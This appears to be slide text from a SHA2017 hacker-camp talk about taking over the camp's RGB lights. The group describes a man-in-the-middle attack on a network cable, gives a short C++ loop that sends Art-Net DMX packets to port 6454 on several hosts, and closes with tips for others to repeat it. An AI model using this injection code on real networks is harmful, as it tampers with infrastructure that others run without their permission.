Credits

- Federico
- Matteo
- Mauro
- Nicolò
- Paolo
- Samuele
How it all started

The Italian Embassy

Our (first) target
Where the signal comes

The datenklo
Where the cable passes

The cable

The embassy
Detour

MITM Attack deployed
Frame 471: 510 bytes on wire (4080 bits), 510 bytes captured (4080 bits)
Ethernet II, Src: AristaNe_61:f4:07 (00:1c:73:61:f4:07), Dst: Fraunhof_00:00:91 (cc:b5:5a:00:00:91)
User Datagram Protocol, Src Port: 6454, Dst Port: 6454
Art-Net, Opcode: ArtDMX (0x5000)
DMX Channels
Why we’re hiding IP addresses

```
[user@computer ~]$ ping .7.21
PING .7.21 ( .7.21) 56(84) bytes of data.
64 bytes from .7.21: icmp_seq=1 ttl=63 time=13.1 ms
64 bytes from .7.21: icmp_seq=2 ttl=63 time=13.4 ms
64 bytes from .7.21: icmp_seq=3 ttl=63 time=10.9 ms
^C
--- .7.21 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 10.996/12.521/13.409/1.087 ms
```
The exploit

```cpp
int main()
{
    boost::asio::io_service io_service;

    UDPClient client1(io_service, "7.21", "6454");
    UDPClient client2(io_service, "7.22", "6454");
    UDPClient client3(io_service, "7.23", "6454");
    UDPClient client4(io_service, "7.24", "6454");
    UDPClient client5(io_service, "7.25", "6454");
    UDPClient client6(io_service, "7.26", "6454");
    UDPClient client7(io_service, "7.27", "6454");

    vector<UDPClient*> group1={&client3, &client4};
    vector<UDPClient*> group2={&client1, &client6, &client7};
    vector<UDPClient*> group3={&client2, &client5};

    string red=loadFile("red.bin");
    string white=loadFile("white.bin");
    string green=loadFile("green.bin");

    for(;;)
    {
        sendall(group1,green);
        sendall(group2,white);
        sendall(group3,red);
        usleep(10*1000);
    }
}
```
Before

A bit too green for RGB leds
After

Better
Exploit V2.0

SHA2017 colors pwning - 1.0.0

- IP
- Port: 6454
- Brightness: 127
- Numchan: 450

Stop

PWN
What next?

- We know the network address
- Scan for port 6454

Some datenklo have 21, 22, ...

All datenklo have 20, what is it?
New target

Here it is!
Exploit V2.0 deployed

This is an Italian flag
If you want to try this

- Keep the brightness below 0x7f
  - We don’t know why, maybe power supply limitations
- Keep the traffic low
  - switches are 10MBit/s only
Thanks to SHA2017 for providing an unintended CTF